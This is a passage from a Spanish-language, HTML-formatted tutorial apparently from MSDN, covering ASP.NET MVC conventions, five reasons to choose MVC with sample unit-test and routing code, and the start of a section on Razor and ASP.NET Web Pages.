<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">return</span> View();</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">}</li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Si no indicamos lo contrario, ASP.NET MVC intentará buscar una vista que se llama igual que la acción que se ha ejecutado. El error que devuelve la aplicación indica que no ha podido encontrar la vista y además indica donde la ha buscado. Como se puede observar, en ASP.NET MVC hay un mapeo directo entre las URLs, los métodos que se ejecutan en el controlador (las acciones) y las vistas que se devuelven. Prevalece la convención sobre la configuración.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><img align="" alt="" height="168" src="http://i.msdn.microsoft.com/hh984855.002(es-es,MSDN.10).jpg" style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;" title="" width="400" /></span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">ASP.NET MVC fue concebido con el objetivo de proporcionar una mayor separación de conceptos y mayor control sobre el comportamiento de la aplicación. Al no hacer uso de muchos de los mecanismos de abstracción de ASP.NET Web Forms, como el view state o los formularios de servidor, ASP.NET MVC requiere un mayor conocimiento sobre protocolos y lenguajes web. En general las aplicaciones ASP.NET MVC requieren desarrollar una mayor cantidad de código que una aplicación ASP.NET Web Forms de funcionalidad equivalente, pero también proporcionan un mayor control al desarrollador sobre el comportamiento de la aplicación.</span></div>
<h2 style="border: 0px; clear: both; color: #3a3e43; font-family: 'Segoe UI Semibold', 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 20px; line-height: 1.25; margin: 4px 0px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Cinco razones por las que ASP.NET MVC puede ser la mejor opción para ti</span></h2>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">1 – Aplicaciones fácilmente integrables con pruebas unitarias</strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">La principal característica que hace a una aplicación fácil de probar es el desacoplamiento (<em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">loose coupling</em>) entre los componentes de la aplicación, de forma que cada uno de los componentes se pueda probar de forma aislada. Las pruebas unitarias en esencia son clases creadas con el único propósito de instanciar y hacer uso de las clases y métodos de una aplicación, y verificar que esas clases se comportan como es esperado en distintas situaciones. ¿El método X devuelve el valor esperado al pasar unos parámetros determinados? ¿La clase Y lanza una excepción de tipo Z cuando se pasan unos parámetros inválidos al constructor?</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Uno de los grandes problemas de Web Forms era la imposibilidad de probar las aplicaciones mediante pruebas unitarias, dado que no es posible instanciar clases que heredan de System.Web.UI.Page de forma aislada. Sin embargo en ASP.NET MVC la lógica que controla el flujo de la aplicación reside en los controladores, y los controladores no son más que clases sin dependencias externas por lo que se pueden instanciar sin problemas desde el código de las pruebas unitarias. Siguiendo con el ejemplo anterior, podríamos implementar el siguiente método de prueba unitaria para verificar que el nombre de la vista que devuelve la acción <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">Dvd</em> del controlador <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">Products</em> es la esperada:</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_eb2174e709b4427b969b64684e787929" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">using</span> System.Web.Mvc;</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">using</span> AdventureWorks.Controllers;</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">using</span> Microsoft.VisualStudio.TestTools.UnitTesting;</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">namespace</span> AdventureWorksTest</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">{</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> [TestClass]</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">public</span> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">class</span> ProductsControllerTest</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> { </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> [TestMethod]</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">public</span> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">void</span> TestDvdView()</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> {</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">//Arrange</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> ProductsController products = <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">new</span> ProductsController();</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">//Act</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> ViewResult result = (ViewResult)products.Dvd();</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">//Assert</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> Assert.AreEqual(<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Dvd"</span>, result.ViewName);</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> }</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> }</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">}</li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">La plantilla de Visual Studio para crear un nuevo proyecto ASP.NET MVC es la única plantilla de un proyecto web que crea un proyecto adicional de pruebas unitarias en la solución, lo que de nuevo refuerza que las pruebas unitarias son una parte integral de las aplicaciones ASP.NET MVC.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><img align="" alt="" src="http://i.msdn.microsoft.com/hh984855.003(es-es,MSDN.10).jpg" style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;" title="" /></span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">2 – Mayor flexibilidad y control sobre las URLs expuestas por la aplicación.</strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">ASP.NET MVC proporciona mayor control y flexibilidad sobre las URLs que expone la aplicación. El componente clave que posibilita esta funcionalidad de MVC es el motor de <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">URL routing</em> que se introdujo en ASP.NET 3.5 SP1, y que desde ASP.NET 4.0 también está disponible para Web Forms. El URL routing permite a las aplicaciones exponer URLs más simples, semánticamente más significativas para los usuarios y mejor optimizadas para los motores de búsqueda.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Las rutas predeterminadas en una aplicación ASP.NET MVC están definidas en el método <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">RegisterRoutes</em>del fichero global.asax:</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_6139b6f696b2416eaa3a81a5da33fdcb" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">public</span> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">static</span> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">void</span> RegisterRoutes(RouteCollection routes)</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">{</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> routes.IgnoreRoute(<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"{resource}.axd/{*pathInfo}"</span>);</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> routes.MapRoute(</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Default"</span>, <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">// Route name</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"{controller}/{action}/{id}"</span>, <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">// URL with parameters</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">new</span> { controller = <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Home"</span>, action = <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Index"</span>, id = UrlParameter.Optional } <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">// Parameter defaults</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> );</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">}</li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">El enrutamiento predeterminado de cualquier aplicación ASP.NET MVC expone URLs del tipo http://website/{controlador}/{vista}/{parametros}. Por ejemplo, un controlador <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">Search</em> que realiza búsquedas en un catalogo de productos con una única vista <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">Results</em> a la que se pasa por parámetro la cadena de búsqueda por defecto estaría expuesta en la URL http://website/search/results/star+wars. Podría tener más sentido eliminar el nombre de la vista para conseguir una URL más simple, de forma que se accediera mediante http://website/search/star+wars. Conseguir esto únicamente requiere registrar una nueva ruta en el método <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">RegisterRoutes</em>:</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_4e6a6efdb47e4c03b2ee425b250cc667" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">routes.MapRoute(</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Search"</span>, <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">// Route name</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Search/{id}"</span>, <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">// URL with parameters</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">new</span> { controller = <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Search"</span>, action = <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Results"</span>} <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">// Parameter defaults</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">);</li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">3 – Mayor control sobre el HTML de la aplicación. </strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">En ASP.NET MVC desaparecen los controles de servidor basados el modelo de post-back de Web Forms dado que ahora cada interacción del usuario debe ir enrutada a un controlador y a una acción específicos. En la práctica esto implica que desaparecen la mayoría de controles de servidor que generan HTML, por lo que ahora es tarea de los desarrolladores escribir todo ese HTML. Esto supone varias ventajas importantes, una de ellas es que el HTML que producen las aplicaciones MVC es completamente predecible, los elementos HTML no tienen identificadores generados dinámicamente del tipo “<em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">ctl00_ControlPadre_ControlHijo_...</em>” y por consecuencia es significativamente más sencilla la programación de código JavaScript de cliente contra el HTML generado. Otras ventajas son el control total a la hora de producir HTML validable, HTML compatible con distintos estándares de accesibilidad web, etc.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">4 – Plataforma completamente extensible</strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">ASP.NET MVC ha sido diseñada para ser completamente extensible, lo que implica que cualquier elemento lógico del flujo de procesamiento de una petición MVC, puede ser extendido o completamente sustituido por una implementación propia. Para ello, ASP.NET MVC introduce una serie de puntos de extensión en los que es posible inyectar código personalizado que modifique el comportamiento predeterminado. Estos puntos de extensión se encuentran por ejemplo en la lógica de enrutamiento, en la creación de los controladores, en la ejecución de las acciones del controlador, en la selección de las vistas o los “view engines”, etc.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">5 – Modelo de programación que promueve una mejor arquitectura de las aplicaciones.</strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Las características inherentes del modelo de programación ASP.NET MVC promueven una mejor arquitectura de las aplicaciones, con una separación más clara entre la lógica de presentación, la lógica de negocio y la lógica de acceso a datos. Esta separación lógica también contribuye desarrollar un código más reutilizable debido al mayor desacoplamiento entre los distintos componentes.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><br /></span></div>
<h1 style="border: 0px; clear: both; color: #3a3e43; font-family: 'Segoe UI Semibold', 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 22px; line-height: 1.25; margin: 5px 0px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Parte 3 - ASP.NET Web Pages</span></h1>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<br /></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Transcurrido poco más de un año desde el lanzamiento de la primera versión de ASP.NET MVC, en Julio de 2010 se anunció la disponibilidad pública de una nueva sintaxis para páginas ASP.NET llamada “Razor” y un nuevo tipo de páginas ASP.NET que hacen uso de dicha sintaxis, las denominadas ASP.NET Web Pages. Prácticamente de forma simultanea al lanzamiento de Razor, se hizo pública la disponibilidad de Microsoft WebMatrix. WebMatrix es una herramienta de desarrollo web gratuita que incluye todo lo necesario para desarrollar aplicaciones ASP.NET, ASP o incluso PHP. WebMatrix proporciona un entorno de desarrollo web autónomo, que integra también el servidor web de desarrollo (IIS Express), la base de datos (SQL Server Compact Edition), y las herramientas para desplegar las aplicaciones en entornos de producción (Web Deploy). </span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">La sintaxis Razor fue diseñada con los objetivos de ser fácil de aprender, minimizar el número de caracteres necesarios para la sintaxis consiguiendo un código compacto y fluido, utilizar los lenguajes .NET existentes, ser compatible con cualquier editor de texto y ser “testeable” mediante pruebas unitarias. En esencia, Razor permite introducir fragmentos de código Visual Basic .NET o C# directamente en el código HTML, por lo que convenientemente la extensión de las páginas Razor es *.cshtml o *.vbhtml.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Con Razor todo el código de una página se encuentra en un único fichero, que se ejecuta de principio a fin. El ciclo de vida de ejecución de una página se ha simplificado significativamente respecto a Web Forms o MVC. El comienzo de un bloque de código de servidor en Razor se indica con el carácter ‘@’, y a diferencia de la sintaxis equivalente en las páginas *.aspx, ‘<% … %>’, no se indica explícitamente el cierre del bloque. El compilador utiliza su conocimiento de los lenguajes .NET para determinar donde terminan los bloques de código de servidor, y donde comienza el HTML.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">ASPX</strong></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_d1a5813779d447d0b8fbf3176c587c13" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><div></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> Bienvenido <%= Usuario.Nombre %>, hoy es <%= DateTime.Now.Date.ToShortDateString() %></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"></div></li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">Razor</strong></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
